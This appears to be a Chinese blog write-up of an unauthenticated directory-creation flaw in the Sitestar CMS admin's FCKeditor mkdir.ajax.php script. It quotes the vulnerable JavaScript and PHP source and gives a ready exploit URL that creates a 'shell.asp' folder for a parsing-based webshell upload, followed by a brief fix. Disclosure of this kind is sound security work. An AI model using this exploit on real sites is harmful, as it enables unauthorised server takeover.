建站之星php 漏洞,建站之星全版本后台通杀getshell的解析与解决方法

谁践踏了优雅 2023-01-18 09:09 112阅读 0赞

找到一个fck改的编辑器，准备用解析洞日之。

![90a5747689f848bf6b975800ada79d3e.png][]

然后发现无法这玩意直接过滤了“.”创建不了解析文件夹，

反复试了几次之后发现这个过滤是有延迟的。大概在0.1秒后 才会去掉。于是果断查看源码看函数：

复制代码代码如下:

function addSort(obj) \{

$(obj).parent().find(‘span’).css(‘display’,'inline-block’);

$(obj).css(‘display’,'none’);

$(obj).parent().find(‘span > input:first’).focus();

\}

function newDir(obj) \{

var pth = $(obj).prev().attr(‘value’);

var basepth = $(‘\#gtcurdir option:selected’).text();

if (pth.replace(/^\\s+|\\s+$/g,”).length == 0) \{ //这里对定义的PTH变量进行了判断,(“/^\\s+|\\s+$/g,”),思路是 判断如果文本框内不算以上字符 长度等于0则继续执行.

alert(“请输入字符”);

$(obj).prev().focus();

return false;

\} else \{

$.ajax(\{

type : “GET”,

dataType : “text”,

url : “../mkdir.ajax.php?basedir=”+basepth+”&newdir=”+pth,//这里直接发送url 基本类型+新文件夹名+文件夹名。

success : function(response) \{

switch (response) \{

case ’0′:

$(obj).prev().val(”);

$(obj).parent().css(‘display’,'none’);

$(obj).parent().parent().find(‘a’).css(‘display’,'inline-block’);

$(‘’+basepth+pth+’/’).appendTo(‘\#gtcurdir’);

break;

case ‘-1′:

alert(“文件夹已存在！”);

$(obj).prev().focus();

break;

case ‘-2′:

alert(“新建文件夹失败！”);

break;

\}

\},

error : function(response) \{

alert(“请求失败！”);

return false;

\}

\});

\}

看完函数 发现有一个很有意思的地方：

url : “../mkdir.ajax.php?basedir=”+basepth+”&newdir=”+pth,这里直接post出去命令。那么我们可否构造呢

于是查看了这个脚本的源码：

复制代码代码如下:

header(‘Conten-type:text/html; charset=UTF-8′);

define(‘SSFCK’, str\_replace(“\\\\”, “/”, dirname(\_\_FILE\_\_)));

$adminRoot = str\_replace(“\\\\”, “/”, substr(SSFCK, 0, -10));

define(‘SSROOT’, str\_replace(“\\\\”, “/”, realpath($adminRoot.”/..”)));

$err = ’0′;

$basedir = trim($\_GET\['basedir'\]);//这里直接GET来自前面那个urlpost来的变量

$newdir = trim($\_GET\['newdir'\]);

// is or not exist dir

$hd = dir(“../../”.$basedir);

while(($path = $hd->read()) !== false) \{

if ($path == $newdir) \{

$err = ‘-1′;

break;

\} else continue;

\}

if ($err != ‘-1′) \{

if (!mkdir(“../../\{$basedir\}\{$newdir\}”, 0755)) $err = ‘-2′;

\}

echo $err;

?>

程序员果然天然呆，不验证登陆，这里不验证文件名，任凭urlpost任意信息。

到这里知道了程序漏洞所在。附上exp：

http:// /admin/fckeditor/mkdir.ajax.php?basedir=upload/image/&newdir=shell.asp

返回0则表示成功。

修复方案：

对mkdir.ajax.php加验证

[90a5747689f848bf6b975800ada79d3e.png]: /images/20221021/aa36e0230c3d4407bd2e85910c999108.png

发表评论取消回复

表情：

评论列表（有 0 条评论，112人围观）

还没有评论，来说两句吧...

相关阅读

相关建站记录

、浏览器打开网站异常 “/”应用程序中的服务器错误。编译错误说明: 在编译向该请求提供服务所需资源的过程中出现错误。请检查下列特定错误详...

约定不等于承诺〃/ 2024年04月17日 20:02/ 0 赞/ 158 阅读

相关 wordpress建站

闲不住的我又要开始折腾啦！今天研究了一下wordpress建站，打算入坑个人博客，各位大朋友、小朋友们，有空常来捧场呦（手动微笑脸）！ wordpress建站，之前我以为很难

短命女/ 2023年06月25日 06:05/ 0 赞/ 116 阅读

相关建站之星php 漏洞,建站之星全版本后台通杀getshell的解析与解决方法

找到一个fck改的编辑器，准备用解析洞日之。 ![90a5747689f848bf6b975800ada79d3e.png][] 然后发现无法这玩意直接过滤了“.”创建不了

谁践踏了优雅/ 2023年01月18日 09:09/ 0 赞/ 113 阅读

相关 php漏洞书籍,PHP漏洞全解(一)-PHP网站的安全性问题

![8f3ff2fbfdd7c7c8339951a6542705fa.gif][] 845002618491765410.jpg (163.16 KB, 下载次数: 58)

女爷i/ 2023年01月17日 15:53/ 0 赞/ 189 阅读

相关 php多站点建站,wordpress多站点子目录多域名建站管理开启方法

最近打算折腾一个主题演示站，给每个主题使用独立的子站点来搭建演示，如果是Apache环境，配置就比较容易，但是倡萌使用的是 Nginx，花了大量的时间测试了N多网络上的伪静态规

╰半夏微凉°/ 2023年01月17日 10:53/ 0 赞/ 271 阅读

相关 web建站与中间漏洞总结

web建站漏洞总结 windows主流建站工具宝塔护卫神 phpstudy upupw phpstudy phpstudy两个

川长思鸟来/ 2023年01月01日 09:55/ 0 赞/ 164 阅读

相关建站小记

[![me - 副本][me -]][me - _me -] 恩，网站的流量逐渐稳定了。这算个好兆头？？ 8月4号，一个好奇的小子开始了建网之路；9月5号，网站满月了。

傷城~/ 2022年08月12日 00:18/ 0 赞/ 298 阅读

相关建站门路

[http://www.sitestar.cn/?gclid=CNLC24bWrKICFcUvpAod-H\_2gQ][http_www.sitestar.cn_gclid_C

梦里梦外;/ 2022年07月12日 12:58/ 0 赞/ 396 阅读

相关阿里云建站步骤与解决基本问题(简单成功建站)

第一步：注册域名选自己喜欢的名字，个人推荐最好以.com或.cn域名，选好要租的时间后直接下单第二步：购买ECS服务器，我买的是学生机，学生机购买路径学生认证->查看云

矫情吗；*/ 2022年04月16日 04:06/ 0 赞/ 363 阅读

相关阿里云一键建站产品，阿里云自营建站-中小企业建站首选 ...

阿里云推出的自营建站服务，这对于中小企业来说简直是福利了，现在一般的公司都开始有了自己的官网，有可能就是因为你的官网设计的标准，大气，客户就会对你的信任度增加，从而促进一笔不小

男娘i/ 2022年02月14日 14:27/ 0 赞/ 482 阅读